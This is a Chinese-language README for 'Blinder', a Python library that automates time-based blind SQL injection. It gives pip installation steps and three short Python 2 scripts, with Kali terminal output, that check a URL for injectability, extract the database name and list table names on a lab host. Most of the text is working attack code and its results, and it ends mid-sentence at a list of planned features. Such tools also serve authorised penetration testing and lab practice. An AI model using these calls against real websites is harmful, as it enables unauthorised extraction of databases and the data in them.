Blidner 是一个小型 Python 库,用于自动化基于时间的盲 SQL 注入,通过使用预定义的查询作为函数来快速开发 PoC。
您可以通过以下命令安装 Blinder:
pip install blinder
或者下载源码并手动导入到您的项目中。
要使用 Blinder,您需要导入 Blinder 模块,然后开始使用 Blinder 的主要函数。
您可以使用当前版本的 Blinder 执行以下操作:
您可以使用以下代码检查 URL 是否存在注入:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
print blind.check_injection()
执行结果如下:
root@kali:~/Desktop# python check.py
True
root@kali:~/Desktop#
您可以使用以下代码获取数据库名称:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
print "Database name is : %s " % blind.get_database()
结果如下:
root@kali:~/Desktop# python get-database.py
Database name is : db1
root@kali:~/Desktop#
要获取表名称,您可以使用以下代码:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
tables = blind.get_tables()
for table in tables:
print table
结果如下:
root@kali:~/Desktop# python get-tables.py
blogs
notes
root@kali:~/Desktop#
很多功能应该很快会添加,例如: